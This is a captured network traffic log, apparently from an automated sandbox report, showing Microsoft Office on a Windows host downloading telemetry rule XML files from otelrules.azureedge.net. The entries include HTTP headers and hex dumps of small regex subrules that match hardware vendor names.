2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: a7eb38d6-901e-005b-12d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b44999c8xwz4dbqvgykc0000000cu0000000004ye3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:25 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 2a2929eb-001e-0065-08d8-1e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b4499wvth4ttszf0h3n400000009k0000000001zuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 20e65ee1-a01e-000d-7cd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b4499pnh69zuen6a54mc0000000b5g00000000qmh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: ead0c977-501e-000a-57af-200180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-15b8d89586fwzdd8urmg0p1ebs00000000tg00000000c0g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: c66797d1-301e-0096-71d8-1ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-r197bdfb6b4k6h5j1g5mvtmsmn00000003m000000000mexr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:26 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 344743f8-701e-0050-2a86-216767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-r197bdfb6b4kq4j5t834fh90qn000000029g00000000089f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:26 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8d48ec48-c01e-000b-1792-1fe255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-15b8d89586f8nxpt6pvtkfw3pg00000005hg00000000k8fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:26 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: fe1c9c5c-601e-00ab-47d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-16b659b4499stprh7pcpsc0x3n0000000ctg00000000s5zc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:26 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: dea22ce0-401e-0047-6454-218597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-r197bdfb6b4h2vctng0a0nubg8000000029g00000000gqr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:26 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 37c2ad28-001e-0049-5fd8-1e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214626Z-r197bdfb6b429k2srg5tfm6hnn00000003600000000049vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:27 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:27 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d34f521c-701e-0053-12d8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214627Z-16b659b44995jvf4d4dghwrdp400000001k000000000022y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:27 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20e60820-a01e-000d-5fd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214627Z-16b659b4499rzdzwehs0w9w5d80000000b8000000000eahb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" 